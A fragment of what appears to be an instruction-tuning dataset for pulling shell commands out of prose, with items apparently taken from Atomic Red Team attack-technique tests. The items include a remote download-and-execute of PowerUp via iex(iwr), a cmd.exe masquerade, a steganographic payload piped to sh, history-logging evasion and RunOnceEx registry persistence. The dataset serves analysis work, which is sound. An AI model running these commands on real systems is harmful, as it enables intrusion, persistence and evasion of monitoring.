    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves copying cmd.exe to lsm.exe and executing it from a non-standard path, which can be achieved with the command: copy C:\\Windows\\System32\\cmd.exe C:\\lsm.exe\nC:\\lsm.exe /c echo T1036.003 > C:\\T1036.003.txt\n",
    "output": "{\"command_list\": [\"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\lsm.exe\\nC:\\\\lsm.exe /c echo T1036.003 > C:\\\\T1036.003.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking internet connectivity via ping on Windows, execute this command with the default Google Public DNS as target: ping -n 4 #{ping_target}",
    "output": "{\"command_list\": [\"ping -n 4 #{ping_target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To demonstrate steganography techniques, the script is encoded in base64 and embedded into an image, then extracted and executed with this command: cat \"#{script}\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \"#{image}\" - > \"#{evil_image}\"; strings \"#{evil_image}\" | tail -n 1 | base64 -d | sh.",
    "output": "{\"command_list\": [\"cat \\\"#{script}\\\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \\\"#{image}\\\" - > \\\"#{evil_image}\\\"; strings \\\"#{evil_image}\\\" | tail -n 1 | base64 -d | sh\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test checks the HISTFILE value, modifies it to /dev/null, and verifies the change by executing a series of commands:\nTEST=$(echo $HISTFILE)\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\";  fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTFILE)\\necho $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To restart a FreeBSD system, use the following command: poweroff -r 3",
    "output": "{\"command_list\": [\"poweroff -r 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script below enumerates Active Directory computers, outputting their names to the console, as referenced in Mandiant's ransomware research, with the following command: $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\"(ObjectCategory=Computer)\")\n$DirectorySearcher.PropertiesToLoad.Add(\"Name\")\n$Computers = $DirectorySearcher.findall()\nforeach ($Computer in $Computers) {\n  $Computer = $Computer.Properties.name\n  if (!$Computer) { Continue }\n  Write-Host $Computer}\n",
    "output": "{\"command_list\": [\"$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\\\"(ObjectCategory=Computer)\\\")\\n$DirectorySearcher.PropertiesToLoad.Add(\\\"Name\\\")\\n$Computers = $DirectorySearcher.findall()\\nforeach ($Computer in $Computers) {\\n  $Computer = $Computer.Properties.name\\n  if (!$Computer) { Continue }\\n  Write-Host $Computer}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx using this command: REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n",
    "output": "{\"command_list\": [\"REG ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"#{thing_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 